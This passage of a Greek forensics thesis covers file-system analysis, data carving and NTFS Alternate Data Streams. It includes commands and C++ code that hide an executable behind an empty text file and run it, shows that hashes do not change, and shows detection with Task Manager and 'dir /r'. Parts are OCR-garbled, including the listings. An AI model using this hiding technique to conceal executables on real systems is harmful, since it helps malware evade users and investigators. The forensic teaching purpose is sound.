χρησιμοποιείται ο γενικός όρος «χώρος» ή «δομικές αποθηκευτικές μονάδες» ώστε να αποφευχθεί η 
εξειδίκευση. Όταν δημιουργείται ένα καινούριο αρχείο, το λειτουργικό σύστημα ψάχνει για μη 
δεσμευμένο χώρο (unallocated) και τον αναθέτει στο αρχείο αυτό όποτε θέτει το χώρο αυτό σε 
κατάσταση «δεσμευμένος«(allocated).
Όταν το αρχείο διαγράφει ο χώρος αλλάζει κατάσταση σε unallocated ώστε να μπορεί σε περίπτωση 
που χρειαστεί να φιλοξενήσει νέα δεδομένα, όμως μέχρι να φτάσει αυτή η στιγμή, τα 
«διαγραμμένα» δεδομένα του προηγούμενου αρχείου ακόμα υπάρχουν, πράγμα που σημαίνει ότι 
μπορούν ανά πασά στιγμή να ανακληθούν (undelete).
ΥΠΟΕΝΟΤΗΤΑ 3.4.1 - ΑΝΑΛΥΣΗ ΠΕΡΙΕΧΟΜΕΝΩΝ
Κατά την ανάλυση των περιεχομένων ενός file system [39] υπάρχουν πολλές τεχνικές που μπορούν 
να ανακαλύψουν κρυμμένα δεδομένα. Υπάρχει περίπτωση ο Forensic Investigator να γνωρίζει που 
ακριβώς μπορεί να υπάρχει ένα αρχείο.
Για παράδειγμα στο FAT32 ο sector 3 δεν χρησιμοποιείται ποτέ από το file system και είναι 
γεμισμένος με μηδενικά, άρα στην περίπτωση που προκόψει ότι υπάρχουν μη μηδενικά δεδομένα, ο 
Investigator είναι πιθανόν να βρει κρυμμένα στοιχεία.
Μια άλλη περίπτωση είναι να είναι γνωστό τι περιεχόμενο έχει κάτι που ψάχνουμε αλλά να είναι 
άγνωστη η θέση του. Σε αυτή την περίπτωση χρησιμοποιείται η παρακάτω τεχνική 
Logical File System-Level Searching : είναι η τεχνική κατά την οποία ψάχνεται κάθε δομική 
αποθηκευτική μονάδα (όπως τα clusters) για μια γνώστη τιμή ή μια συμβολοσειρά.
Δυστυχώς επειδή τα δεδομένα δεν αποθηκεύονται πάντα σε συνεχείς αποθηκευτικές μονάδες και 
μπορεί να βρίσκονται κατακερματισμένα (fragmented) πάνω στο δίσκο, αυτή η μέθοδος δεν μπορεί 
να δώσει ακριβή αποτελέσματα στην περίπτωση που αυτό που αναζητείται δεν βρίσκεται σε 
διαδοχικές θέσεις.
Για κάθε δομική αποθηκευτική μονάδα υπάρχει ένας πινάκας με δυαδικές τιμές 0 και 1 ο όποιος
29
Institutional Repository - Library & Information Centre - University of Thessaly
08/12/2017 09:57:48 EET - 137.108.70.7
δείχνει εάν αυτή βρίσκεται σε κατάσταση «δεσμευμένη» ή «μη-δεσμευμένη».Με αυτό τον τρόπο 
γίνεται εφαρμογή τεχνικής κατά την όποια εξάγεται όλος ο μη δεσμευμένος χώρος από ένα δίσκο 
και έπειτα γίνεται ανάλυση, όπως και στις προηγούμενες περιπτώσεις, με εργαλεία που επιστρέφουν 
την δυαδική (raw) ή την δεκαδική μορφή των δεδομένων. Επίσης όσον αφορά στις δομικές 
αποθηκευτικές μονάδες που έχουν αναφερθεί ότι έχουν βλάβη (damaged), θα πρέπει να είναι 
περιοχές γεμισμένες με μηδενικά, στην αντίθετη περίπτωση υπάρχει υποψία ότι δεδομένα θα 
μπορούσαν να κρύβονται σε αυτές.
ΥΠΟΕΝΟΤΗΤΑ 3.4.2 - ΑΝΑΛΥΣΗ ΤΩΝ METADATA
Η ανάλυση των metadata ενός file system αφορά την μελέτη των δεδομένων που περιέχουν 
περιγραφικές πληροφορίες για τα αρχεία ή τους καταλόγους. Αποθηκεύονται σε έναν πινάκα 
δυναμικού ή στατικού μεγέθους του όποιου κάθε εγγραφή περιέχει μια διεύθυνση. Όταν τα αρχεία ή 
κατάλογοι διαγράφονται, η εγγραφή αυτή τίθεται σε κατάσταση unallocated και το λειτουργικό 
σύστημα μπορεί να διαγράψει κάποιες τιμές από την εγγραφή. Τα metadata αν και περιέχουν τιμές 
που δείχνουν ποτέ προσπελάστηκε τελευταία φορά ένα αρχείο, ποιοι έχουν πρόσβαση σε αυτό και 
άλλες χρήσιμες πληροφορίες, αυτές δεν είναι βάσιμες για να στοιχειοθετηθεί μια υπόθεση καθώς το 
λειτουργικό σύστημα θα μπορούσε να έχει επιβάλλει αλλαγές σε αυτές τις τιμές και χρειάζονται 
πρόσθετα στοιχεία.
Metadata-based File Recovery : Η ανάκτηση αρχείων βασισμένη σε metadata είναι μια τεχνική η 
όποια μπορεί να επαναφέρει τα διαγραμμένα αρχεία. Αυτό γίνεται στην περίπτωση που το 
λειτουργικό σύστημα, όταν ένα αρχείο γίνει unallocated, δεν διαγράφει τις αντίστοιχες εγγραφές των 
metadata που δείχνουν την θέση των δομικών αποθηκευτικών μονάδων του αρχείου. Η ανάκτηση 
του αρχείου σε αυτή την περίπτωση είναι σχετικά απλή υπόθεση αφού απλά διαβάζουμε τις 
εγγραφές και μεταφερόμαστε στον αντίστοιχο χώρο πάνω στο δίσκο. Χρειάζεται προσοχή όμως 
γιατί είναι πιθανόν οι metadata εγγραφές των διαγραμμένων αρχείων να έχουν αποσυγχρονιστεί και 
οι θέσεις της μνήμης στις οποίες δείχνουν να περιέχουν πλέον άλλα αρχεία. Χρειάζεται επίσης 
προσοχή όταν υπάρχουν διαφορετικές εγγραφές metadata που δείχνουν τις ίδιες διευθύνσεις 
δομικών αποθηκευτικών μονάδων γιατί είναι πιθανό να αναφέρονται στο ίδιο ή σε διαφορετικά 
αρχεία, η σειρά δημιουργίας των οποίων στο λειτουργικό σύστημα, είναι δύσκολο να εξακριβωθεί.
Η τεχνική ανάκτησης ενός αρχείου από τα metadata είναι μια διαδικασία κατά την όποια 
γνωρίζοντας το όνομα του αρχείου, διαβάζεται η metadata δομή που το περιγράφει και από την 
όποια παίρνουμε την πληροφορία για το που ακριβώς βρίσκονται οι διευθύνσεις των δομικών 
αποθηκευτικών μονάδων που το αποτελούν στο δίσκο. Έπειτα συνδυάζοντας τις πληροφορίες με την 
τεχνική με την ανάλυση των περιεχομένων ενός file system, ανακτώνται τα περιεχόμενα του αρχείου 
ανά δομική αποθηκευτική μονάδα και εμφανίζονται.
Metadata Entry 1 Contents:
Metadata Entry 2 Contents:
Εικόνα3.6
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Τα οφέλη του συνδυασμού των μεθόδων της ανάλυσης των περιεχομένων ενός file system με την 
ανάλυση των metadata τους είναι ότι ενώ στις προηγούμενες μεθόδους διερευνούνταν τα δεδομένα 
γα συγκεκριμένες τιμές ή συμβολοσειρές με την σειρά που ήταν αποθηκευμένα πάνω στο δίσκο, 
τώρα διερευνούνται και αναλύονται με την συνεχή σειρά που τα ορίζει σαν αρχεία.
Δηλαδή συντίθενται οι τιμές των διευθύνσεων των δομικών αποθηκευτικών μονάδων τους πάνω στο 
δίσκο έτσι ώστε να βρεθεί όλο το αρχείο .Καταυτόν τον τρόπο δεν επηρεάζει την αναζήτηση το 
γεγονός ότι ένα αρχείο μπορεί να βρίσκεται σε πολλά fragments πάνω στο μέσο και έτσι 
επιστρέφονται σωστά αποτελέσματα. Η τεχνική αυτή ονομάζεται Logical File Search.Τέλος τα 
metadata δίνουν την δυνατότητα να αναζητηθούν αρχεία που πληρούν διαφορές προϋποθέσεις όπως 
για παράδειγμα το ότι έχουν δημιουργηθεί από τον ίδιο χρηστή, ή το ότι η ώρα που προσπελάστηκαν 
τελευταία φορά είναι κάποια συγκεκριμένη που μας ενδιαφέρει. Η φύση των metadata είναι τέτοια 
που να δίνει την δυνατότητα να αναζητηθούν συγκεκριμένα attributes σε ολόκληρο το δίσκο κάτι 
που δίνει στον Investigator μεγάλη ευελιξία.
ΥΠΟΕΝΟΤΗΤΑ 3.4.3 - ΑΝΑΛΥΣΗ ΤΩΝ FILE NAMES
Η ανάλυση των File Names, είναι ένα επίπεδο πιο πάνω από την προηγούμενη κατηγορία και αφορά 
τον τρόπο με τον οποίο εστιάζουμε σε συγκεκριμένες metadata εγγραφές. Οι τεχνικές που 
χρησιμοποιούνται εδώ συνοψίζονται σε:
File Name Listing : Δεδομένου του γεγονότος ότι πολλά file systems δεν διαγράφουν το file name 
ενός διαγραμμένου αρχείου, είναι εύκολο παρουσιαστεί ο κατάλογος με τα ονόματα των αρχείων 
που έχουν σβηστεί. Η θεωρία πίσω από αυτή την τεχνική είναι ότι αρχικά εντοπίζεται το root 
directory του file system, αναζητείται η metadata έγγραφη που δίνει την λογική δομή του και τις 
δομικές αποθηκευτικές μονάδες που έχει δεσμεύσει. Αφού αποκτηθούν τα περιεχόμενα του και μετά 
από επεξεργασία προκύπτει η λίστα με τα αρχεία και τις αντίστοιχες metadata διευθύνσεις τους. 
Αναζητούνται οι metadata εγγραφές που δείχνουν τις δομικές αποθηκευτικές μονάδες των αρχείων 
και η διαδικασία συνεχίζεται αναδρομικά με τις τεχνικές που περιγράφτηκαν παραπάνω στα αλλά 
επίπεδα ανάλυσης.
File Name Searching : Σε αυτή την τεχνική, γίνεται η υπόθεση ότι το όνομα του αρχείου ή το 
μονοπάτι του (path) μπορεί να μην είναι γνωστό. Σε αυτήν την περίπτωση φορτώνονται και 
επεξεργάζονται τα περιεχόμενα του καταλόγου όπως ακριβώς στην παραπάνω διαδικασία, μόνο που 
αυτή την φορά κάθε έγγραφη αρχείου μέσα στον κατάλογο συγκρίνεται με κάποιο πρότυπο (pattern) 
και όλη η διαδικασία επαναλαμβάνεται αναδρομικά μέχρι να βρεθεί κάποιο αρχείο το οποίο να 
ταιριάζει.
Η ανάλυση σε επίπεδο application βασίζεται στο γεγονός ότι πολλά αρχεία έχουν συγκεκριμένη 
δομή, στα όποια περιλαμβάνεται μια signature value, μοναδική για κάθε είδος αρχείου. Αυτή η τιμή 
είναι χρήσιμη γιατί μπορεί να καταδείξει τι είδους αρχείο είναι κάποιο, αλλά και να κάνει φανερό 
ποτέ ένα αρχείο είναι κρυμμένο μέσα σε ένα άλλο. Η τεχνική που χρησιμοποιείται σε αυτό το 
επίπεδο λέγεται Data Carving.
Application-based File Recovery (Data Carving): είναι η διαδικασία κατά την όποια ένα μεγάλο 
κομμάτι δεδομένων αναλύεται για signatures γνωστών ειδών αρχείων. Λαμβάνει κυρίως χωρά στον 
unallocated χώρο ενός file system όπου δεν υπάρχουν metadata για τα δεδομένα που υπάρχουν εκεί. 
Συνήθως αναλύοντας τα raw data με έναν hex editor αναζητούνται οι αρχικές και τελικές τιμές της 
υπογραφής που σχετίζεται με ένα αρχείο και αντιγράφονται όλα τα ενδιάμεσα δεδομένα που 
περιέχουν. Αν αυτά αντιγράφουν σε ένα κενό αρχείο κειμένου και αποθηκευτούν με την κατάληξη 
του τύπου αρχείου της συγκεκριμένης υπογραφής, τότε εμφανίζεται το αρχείο που ήταν αρχικά 
κρυμμένο.
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Επιλέγουμε από την αρχή του αρχείου το signature του αρχείου GIF89ad έως τα μηδενικά στα όποια 
τελειώνει το ίδιο αρχείο.
Η αποθήκευση της επιλογής που κάναμε, σαν gif αρχείο, μας κάνει recover μια κρυμμένη εικόνα 
τύπου (.gif) .
Λέξεις Κλειδιά:
Digital Forensics, Live Forensics, Post Mortem Forensics, Alternate Data Streams, File Slack, 
Volume Slack, File System Slack, Partition Gap, MBR-area, RAM slack, Swap File, 
Unallocated space, Host Protected Area, File Name Listing, File Name Searching, NTFS File 
System, Fat File System, Data Carving
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ΚΕΦΑΛΑΙΟ 4
ΕΝΟΤΗΤΑ 4.1 - NTFS-ADS
Η επιστήμη του Computer Forensic περιλαμβάνει την μεθοδολογία σύμφωνα με την οποία 
συλλέγονται ηλεκτρονικά στοιχεία από υπολογιστές, υπολογιστικά δίκτυα ή και γενικότερα 
ηλεκτρονικά μέσα αποθήκευσης δεδομένων. Η διαδικασία συλλογής των ηλεκτρονικών αυτών 
στοιχείων πρέπει να γίνεται με τρόπο που να εξασφαλίζει την ακεραιότητα τους .Σε αντίθετη 
περίπτωση ο σκοπός της επιστήμης του Computer Forensic αποτυγχάνεται.
Τα Alternate Data Streams (ADSs ) ή αλλιώς “Multiple Data Streams” όπως αναφέρονται στο 
Microsoft TechNet CD αλλά και στο βιβλίο της Helen Custer “Inside the Windows Nt file system” ή 
αλλιώς όπως αναφέρονται στην βιβλιογραφία, “Named Data Streams” ή “Forked Data Streams”, 
αποτελούν ένα μοναδικό χαρακτηριστικό των NTFS file systems ,και εισήχθησαν πρώτη φορά σαν 
έννοια στα Windows NT 3.1 στις αρχές της δεκαετίας ’90 ώστε να προσφέρουν συνδεσιμότητα 
μεταξύ των Windows Nt servers και των Macintosh clients που χρησιμοποιούν Hierarchical File 
System (HFS).To HFS χρησιμοποιεί streams όπως το “resource fork” και το “data fork”.Και τα δύο 
αυτά είδη stream συνδέονται με το ίδιο μοναδικό όνομα στο Macintosh file system.Ας δούμε όμως 
σε τι χρησιμεύουν αυτά τα διαφορετικά είδη stream [22].
To “resource fork” χρησιμοποιείται κυρίως με σκοπό την αποθήκευση των metadata μίας εφαρμογής 
(πχ. εικόνες, ήχους, γραμματοσειρές).Είναι επίσης υπεύθυνο για την έναρξη κάθε φορά του 
κατάλληλου προγράμματος που θα χειριστεί ένα αρχείο, όπως είναι αντίστοιχα οι καταλήξεις 
(extensions) στα Windows.
To “data fork” είναι αυτό το οποίο χρησιμοποιείται για την αποθήκευση των δεδομένων του χρήστη.
Τόσο το “resource fork’^ou δεν είναι ορατό από τον χρήστη όσο και το “data fork” που είναι το 
ορατό μέρος ενός αρχείου για τον χρήστη, χρησιμοποιούνται από τα σημερινά NTFS file systems 
των Windows NT 3.1 μέχρι και Windows Vista, ιδιότητα που δίνει την δυνατότητα να επισυναφθεί 
σένα φάκελο (folder) τόσο επιπλέον πληροφορία σχετική με αυτόν (πχ. δημιουργός, λέξεις 
κλειδιά,thumbnail preview κτλ) όσο και δυνατότητα να επισυναφθούν ολόκληρα αρχεία με 
ανεξάρτητο όνομα τόσο σε φακέλους όσο και σε απλά αρχεία κάθε είδους. Είναι επίσης σημαντικό 
να αναφερθεί το γεγονός ότι τα αρχεία τα οποία επισυνάπτονται και μπορεί να είναι οποιουδήποτε 
μεγέθους, δεν είναι προσβάσιμα, ούτε από το παραθυρικό περιβάλλον τον Windows αλλά ούτε και 
από command line (cmd).
Default Stream
10 110 10 1110 10 10 0 1 ·■·
0 0 10 11110 110 110 10 ··■
Alternate Stream 
Εικόνα 4.1. Πολλά streams στο ίδιο αρχείο
Ένα άλλο πολύ σημαντικό γεγονός που πρέπει να ληφθεί υπόψη είναι ότι τα Alternate Data Streams 
λειτουργούν μόνο όταν βρίσκονται σε NTFS file systems, ενώ οποιαδήποτε μεταφορά του βασικού 
αρχείου/φακέλου στο οποίο τα έχουμε επισυνάψει προς άλλου είδους file systems (πχ. FAT32) ή 
απόπειρα μεταφοράς μέσω Internet (πχ email, ftp) οδηγεί σε μεταφορά μόνο του βασικού 
αρχείου/φακέλου και όχι των επισυναπτόμενών [24].
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FAT file NTFS file
Εικόνα 4.2.Διαφορέςμεταξύ αρχείων FAT και NTFS
Αλλά ας δούμε την δομή αλλά καν πώς μπορούμε να δημιουργήσουμε ένα Alternate Data Stream για 
NTFS file systems.
File .ext
Rle.ext
Rle.ext
Rle.ext
: - - ,:'ν:-'-·Κ·
“ί 3
Ορατό σι όΛα το: 
file systems
Ορατό μόνο σε 
NTFS
Εικόνα 4.3.Η δομή ενός αρχείου με πολλά streams
Όπως βλέπουμε και στην παραπάνω εικόνα, ένα αρχείο οποιουδήποτε είδους και μεγέθους , στην 
συγκεκριμένη περίπτωση το File.ext, μπορεί εκτός από το βασικό αρχείο να έχει και κρυφά, των 
οποίων όμως το όνομα πρέπει αναγκαστικά να περιέχει το όνομα του βασικού αρχείου σαν πρώτο 
συνθετικό .Έπειτα υποχρεωτικά ακολουθεί το σύμβολο (semicolon) και μετά οποιοδήποτε άλλο 
όνομα αρχείου το οποίο μπορεί να έχει και ανάλογη κατάληξη .Για να είμαστε πιο ακριβείς η 
σύμβαση με την οποία η Microsoft[26] ορίζει και δίνει ονόματα στα Alternate Data Streams είναι η 
εξής:
“filename.extension:alternatedatastreamname:$DATA”
Όταν λοιπόν ανοίγουμε ένα οποιοδήποτε αρχείο με τον γνωστό τρόπο ουσιαστικά ανοίγουμε το 
$DATA stream του, εφόσον δηλαδή δεν υπάρχει alternate data stream στον παραπάνω κανόνα 
ανοίγουμε για την ακρίβεια το filename.extension::$DATA.Εάν όμως υπάρχει Alternate Data Stream 
με όνομα πχ. teststream, τα πράγματα αλλάζουν και τότε αποκτούμε πρόσβαση στο 
filename. extension:teststream:$DATA
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ΕΝΟΤΗΤΑ 4.2 - ΔΗΜΙΟΥΡΓΙΑ NTFS-ADS
Για να δημιουργήσουμε ένα Alternate Data Stream υπάρχουν πολλοί τρόποι, κάποιοι από τους 
οποίους είναι αρκετά απλοί και δεν απαιτούν την γνώση προγραμματισμού.
Η δημιουργία πρέπει να γίνει σε path που υποστηρίζει NTFS file systems. Αρχικά δημιουργούμε 
στον σκληρό μας δίσκο (C:\) τον φάκελο με όνομα example που θα φιλοξενεί τα παραδείγματά μας.
Δημιουργία_Αϋ8_1:
Click Start|Run μετά γράφουμε στο πεδίο του Run "notepad C:\example\normal.txt:hidden.txt", 
όταν ανοίξει το παράθυρο του notepad πατάμε οκ για να δημιουργηθεί το αρχείο που δεν υπάρχει 
και έπειτα γράφουμε το κείμενο που θέλουμε να μείνει κρυφό (πχ. hello world this is a hidden text 
file), το οποίο μπορεί να είναι οποιουδήποτε μεγέθους και αποθηκεύουμε .Έτσι έχουμε 
δημιουργήσει στον φάκελο με path “C:\example\” ένα αρχείο κειμένου (.txt) με όνομα “normal.txt” 
το οποίο είναι κενό, έχει μέγεθος 0 ΚΒ και είναι ορατό από τον χρήστη και ένα αρχείο με όνομα 
“normal.txfihidden.txt” που δεν είναι ορατό στον χρήστη έχει μέγεθος μεγαλύτερο των 0 ΚΒ και 
περιέχει το κείμενο που εισάγαμε.
Δη pionpyia_ADS_2:
Ανοίγουμε το notepad και πληκτρολογούμε ένα κείμενο που θα είναι φανερό στον χρήστη (πχ. Main 
Stream) και το αποθηκεύουμε με όνομα normal2.txt στο path “C:\example\normal2.txt”,έπειτα 
ανοίγουμε το cmd.exe (command window) και πληκτρολογούμε :
Εντολή 4.2Λ
___"echo Second Stream>C:\example\normal2.txt:hidden2.txt".______
Δημιουργούμε και αποθηκεύουμε λοιπόν αυτό το νέο αρχείο που έχει και ένα Alternate Data Stream. 
Aqpionpyia_ADS_3:
Χρησιμοποιώντας τον παρακάτω κώδικα σε γλώσσα προγραμματισμού C++ δημιουργούμε ένα 
βασικό αρχείο με όνομα testfile.txt το οποίο περιέχει το κείμενο “This is test file” και ένα Alternate 
Data Stream με όνομα testfile.txt:stream.txt το οποίο περιέχει το κείμενο “This is testfile:stream”.H 
μέθοδος που χρησιμοποιείται είναι η :
hFile = CreateFile()
Ενώ δίνεται ιδιαίτερη βάση στην δημιουργία με την σωστή σειρά πρώτα του βασικού αρχείου και 
έπειτα του Alternate Data Stream του. Σε διαφορετική περίπτωση το Alternate Data Stream δεν 
θα μπορούσε να δημιουργηθεί.
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Κώδικας 43Λ _____
#include <windows.h>
#include <stdio.h>
int main(){
HANDLE hFile, hStream;
DWORD dwRet;
hFile = CreateFile( "testfile.txt",GENERIC_WRITE,
FILE_SHARE_WRITE,NULL,OPEN_ALW AYS,0,NULL ); 
if ( hFile == INVALID_HANDLE_VALUE ) 
printf ("Cannot open testfile\n"); 
else { WriteFile( hFile, "This is testfile", 16, &dwRet, NULL );} 
hStream = CreateFile( "testfile.txt:stream.txt", 
GENERIC_WRITE,FILE_SHARE_WRITE,NULL,
OPEN_ALWAYS,0, NULL);
if( hStream == INVALID_HANDLE_VALUE ) 
printf( "Cannot open testfile:stream\n"); 
else{ WriteFile(hStream, "This is testfile:stream", 23, &dwRet, NULL);} }
Μέχρι τώρα δημιουργήσαμε με τρεις διαφορετικούς τρόπους αρχεία κειμένου (.txt) τα οποία 
περιλάμβαναν άλλα αρχεία κειμένου (.txt) στα Alternate Data Streams τους .Ας δημιουργήσουμε 
όμως τώρα ένα αρχείο κειμένου (.txt) το οποίο θα αποτελεί το βασικό SDATA stream και ας 
επισυνάψουμε ένα εκτελέσιμο αρχείο (.exe) στο Alternate Data Stream του. Για την ακρίβεια ας 
επισυνάψουμε το αρχείο mshearts.exe, το οποίο είναι γνωστό παιχνίδι των Windows και βρίσκεται 
στο path “C:\WINDOWS\system32\mshearts.exe”, σένα κενό αρχείο κειμένου (.txt) με όνομα 
“readme.txt”.
Δη pionpyia_ADS_4:
Ανοίγουμε το cmd.exe (command window) και πληκτρολογούμε:
Εντολή 4.4Λ^ __ ___________ ___________________________
“type C:\WINDOWS\system32\mshearts.exe > C:\example\readme.txLmshearts.exe’’
Παρατηρήστε στον φάκελο “C:\example\” το κενό αρχείο “readme.txt” που έχει μέγεθος 0 ΚΒ. 
Ανοίγουμε το αρχείο με διπλό κλικ για να επιβεβαιώσουμε την ορθή λειτουργία του. Τώρα για να 
ξεκινήσουμε την λειτουργία του κρυμμένου mshearts.exe αρκεί να πληκτρολογήσουμε :
Εντολή 4.4.2
_____________ “start C:\example\readme.txt:mshearts.exe”________
Εντολή 4.4.3 ___
Δημιουργώντας και εκτελώντας την συντόμευση «readme.txt: mshearts.exe» εκτελούμε και το 
readme.txt και το mshearts.exe ταυτόχρονα.
ΕΝΟΤΗΤΑ 4.3 - ΙΔΙΟΤΗΤΕΣ NTFS/ADS ΚΑΙ ΜΕΤΑΦΟΡΑ ΣΕ FAT
Αφού δημιουργήσουμε λοιπόν ένα αρχείο που να περιλαμβάνει τουλάχιστον ένα Alternate Data 
Stream, θα παρουσιάσουμε τις ιδιότητες του και έπειτα θα παρουσιάσουμε έναν τρόπο με τον οποίο 
θα μπορούσαμε να μεταφέρουμε το αρχείο αυτό χωρίς να χάσει τις ιδιότητες του αυτές από ένα 
NTFS file system σένα FAT file system και πάλι πίσω σένα NTFS file system.
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ΥΠΟΕΝΟΤΗΤΑ 4.3.1 - Μέγεθος SDATA stream ανεξάρτητο του μεγέθους του Alternate Data 
Stream
Είναι φανερό από τα παραδείγματα που παρουσιάστηκαν παραπάνω ότι το μέγεθος του αρχείου 
του SDATA stream είναι ανεξάρτητο από το μέγεθος που έχει το Alternate Data Stream του. 
Για να επιβεβαιώσουμε όμως αυτή την παραδοχή ας ακολουθήσουμε την παρακάτω διαδικασία 
συμφώνα με την Δημιουργία_Αϋ8_4:
Πατώντας δεξί κλικ στο αρχείο, μετά την εκτέλεση της εντολής, με path 
“C:\example\readme.txt” βλέπουμε τις εξής πληροφορίες:
Εικόνα 4.4.Πληροφορίες σχετικά με το αρχείο readme.txt
και διαπιστώνουμε ότι το αρχείο readme.txt είναι πράγματι κενό και έχει μέγεθος 0 bytes.To 
κρυμμένο αρχείο mshearts.exe που έχουμε επισυνάψει όμως είχε μέγεθος 125 ΚΒ (128.000 
byte) όπως αποδεικνύει και η παρακάτω εικόνα.
m
Περιγραφή: Κούπες της Microsoft οε Δίκτυο 
Εταιρεία: Microsoft Corporation 
Έκδοση αρχείου·. 5.1.2600.0 
Ημερομηνία δημιουργίας: 7/4/2005 4:31 πμ 
Μέγεθος: 125 ΚΒ
Εικόνα 4.5.Μέγεθος αρχείου mshearts.exe
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Από τα παραπάνω συμπεραίνουμε λοιπόν ότι ένα αρχείο που φαινομενικά έχει μέγεθος 0 bytes 
κρύβει ένα αρχείο 125 ΚΒ το οποίο μπορούμε μάλιστα να εκτελέσουμε με την Εντολή 4.4.2.
ΥΠΟΕΝΟΤΗΤΑ 4.3.2 - Συγκριτικά Αποτελέσματα Hash Συναρτήσεων
Μια άλλη ενδιαφέρουσα ιδιότητα που δεν έχει αναφερθεί μέχρι στιγμής αλλά παίζει πολύ σημαντικό 
ρόλο στην σωστή διεξαγωγή μίας έρευνας Forensic είναι ο έλεγχος του hash value (ηλεκτρονικού 
αποτυπώματος) που παράγεται από διαφορετικούς αλγορίθμους και αποδεικνύει το κατά πόσο δυο 
αρχεία είναι όμοια μεταξύ τους.
Στην σύγκριση που ακολουθεί παρουσιάζονται τα αποτελέσματα των αλγορίθμων MD5, RIPEMD- 
160 και CRC-32 για τα αρχεία που παράγονται με χρήση των μεθόδων δημιουργίας
“Δημιουργία_Αϋ8_3 και Δημιουργία_Αϋ8_4”.
Από Δημιουργία_ΑΟδ_3:
Αρχείο testfile.txt
MD5 : 1816C5834D5885938A7A5DC776F999F8
RIPEMD-160 : F05A75E9A462EAC9231BA938EA0D7005AD7B8458 
CRC-32 : 295DC5C8
Αρχείο testfile.txt με alternate data stream το αρχείο stream.txt
MD5 : 1816C5834D5885938A7A5DC776F999F8
RIPEMD-160 : F05A75E9A462EAC9231BA938EA0D7005AD7B8458 
CRC-32 : 295DC5C8
Αποτέλεσμα : ΟΜΟΙΑ
Από Δημιουργία_ΑΟδ_4:
Κενό αρχείο readme.txt
MD5
RIPEMD-160
CRC-32
D41D8CD98F00B204E9800998ECF8427E 
9C1185A5C5E9FC54 612808 977EE8F54 8B2258D31 
00000000
Κενό αρχείο readme.txt με alternate data stream το αρχείο mshearts.exe
MD5
RIPEMD-160
CRC-32
D41D8CD98F00B204E9800998ECF8427E 
9C1185A5C5E9FC54 612808 977EE8F54 8B2258D31 
00000000
Αποτέλεσμα : ΟΜΟΙΑ
Από τις παραπάνω συγκρίσεις μπορεί κανείς εύκολα να κατανοήσει ότι τα αρχεία που κρύβουμε 
σένα Alternate Data Stream ουσιαστικά δεν επηρεάζουν ούτε αλλοιώνουν με κάποιο τρόπο το 
βασικό αρχείο ή αλλιώς το SDATA stream, όπως θα γίνονταν σε περίπτωση στεγανογραφίας .Τα 
Alternate Data Streams δεν κρύβονται μέσα αλλά “πίσω” από το βασικό αρχείο.
ΥΠΟΕΝΟΤΗΤΑ 4.3.3 - Εντοπισμός μέσω Task Manager
Αφού εκτελέσουμε την διαδικασία Δημιουργία_Α1)8_4 και έπειτα την Εντολή 4.4.2 πατώντας 
ALT + CTRL + DELETE μεταφερόμαστε στον Task Manager και πιο συγκεκριμένα στην καρτέλα 
Διεργασίες όπου βλέπουμε για πρώτη φορά την παρουσία ενός Alternate Data Stream που 
μάλιστα εκτελείται αυτή την στιγμή ενώ μέχρι τώρα τίποτα δεν μαρτυρούσε την ύπαρξη του.
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Εικόνα 4.6.Το αρχείο readme.txt:mshearts.exe κατά την εκτέλεση του
Η εμφάνιση ολόκληρου του ονόματος του αρχείου στο Task Manager έχει πλέον γίνει εφικτή στις 
εκδόσεις Windows Χρ αλλά και στις νεότερες, ενώ πριν από αυτές πχ.Windows NT 3.1 δεν 
εμφανίζονταν ούτε εκεί το Alternate Data Stream name παρά μόνο το όνομα του SDATA stream.
ΥΠΟΕΝΟΤΗΤΑ 4.3.4 - Updated δυνατότητα της DIR command στα Windows Vista
Σε όλες τις εκδόσεις των Windows πριν από τα Windows Vista ,η γνωστή εντολή DIR του 
περιβάλλοντος DOS δεν μπορούσε να εντοπίσει την ύπαρξη Alternate Data Streams .Στα 
Windows Vista όμως δόθηκε η δυνατότητα στον χρήστη με την τροποποιημένη εντολή dir /r να 
απαριθμεί τα Alternate Data Streams.napa8erypa χρήσης βλέπουμε παρακάτω:
<DIR>
<DIR>
04/09/2007 02:27 μμ
04/09/200? 02:27 μμ
7/05/2007 12:1? πμ 16 testfile2.txt
1 File<s> 16 bytes
2 Dir<s> 49.970.843.648 bytes free
C:SUsers\Z:.‘.;:.*.r::^ u:::»ITriCZ\Desktop\testfile Mir 
Uolume in driue C lias no label.
Uolume Serial Number is fl810-F3B0
Directory of C:\Users\2 Z\Desktop\testfile
C:\Users\22::2ri.Z 
Uolume in drive C bas 
Uolume Serial Number
riCZ\Desktop\testf ileMir /r 
no label, 
is A810-F3B0
Directory of C:\Users\Z -2“.::TriOZ\Desktop\testf ile
04/09/2007 02:27 μμ 
04/09/2007 02:27 μμ 
17/05/2007 12:17 πμ
<D1R>
<DIR>
16 testfile2.txt
23 testfile2.txt:stream.txt:$DATA
1 File<s> 16 bytes
2 Dir<s> 49.970.843.648 bytes free
Εικόνα 4.7.Χρήση των εντολών dir και dir /r σε Windows Vista
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Στο παραπάνω παράδειγμα, ενώ η απλή εντολή dir δεν εντόπισε κανένα Alternate Data Stream, η 
εντολή dir /r στον ίδιο φάκελο εντόπισε το testfile2.txt:stream.txt.
ΥΠΟΕΝΟΤΗΤΑ 4.3.5 - Μεταφορά από ένα NTFS file system σένα FAT file system
Εάν προσπαθήσουμε να μεταφέρουμε ένα αρχείο (πχ το readme.txt από την εκτέλεση 
Δημιουργία_Αϋ8_4) που σχετίζεται με ένα Alternate Data Stream από ένα NTFS file system στο 
οποίο φυσικά βρίσκεται σένα FAT file system με τους κλασσικούς τρόπους μεταφοράς αρχείων των 
Windows όπως COPY|PASTE ή DRAG and DROP θα λάβουμε το εξής (ή παρόμοιο) 
διευκρινιστικό μήνυμα :
Εικόνα 4.8.Μήνυμα σφάλματος κατά την μεταφορά του readme.txt σε FAT file system
Βλέπουμε ότι το μήνυμα που εμφανίζεται στην οθόνη μας ενημερώνει τον χρήστη για την ύπαρξη 
ενός Alternate Data Stream το οποίο θα χαθεί εάν συνεχίσουμε την μεταφορά από το NTFS file 
system στο οποίο βρισκόμασταν σένα FAT file system.lVh^umx επιστρέφεται και το όνομα του 
Alternate Data Stream το οποίο είναι mshearts.exe όπως ήδη γνωρίζουμε.
Προσπάθειες για μεταφορά ή αποστολή αρχείων, που σχετίζονται με Alternate Data Streams, 
μέσω Internet αποτυγχάνουν ενώ ή εμφανίζονται προειδοποιητικά μηνύματα σαν το προηγούμενο ή 
δεν υπάρχει καμία προειδοποίηση.
Υπάρχει όμως κάποιος αποτελεσματικός τρόπος με τον οποίο θα μπορούσαμε να μεταφέρουμε ένα 
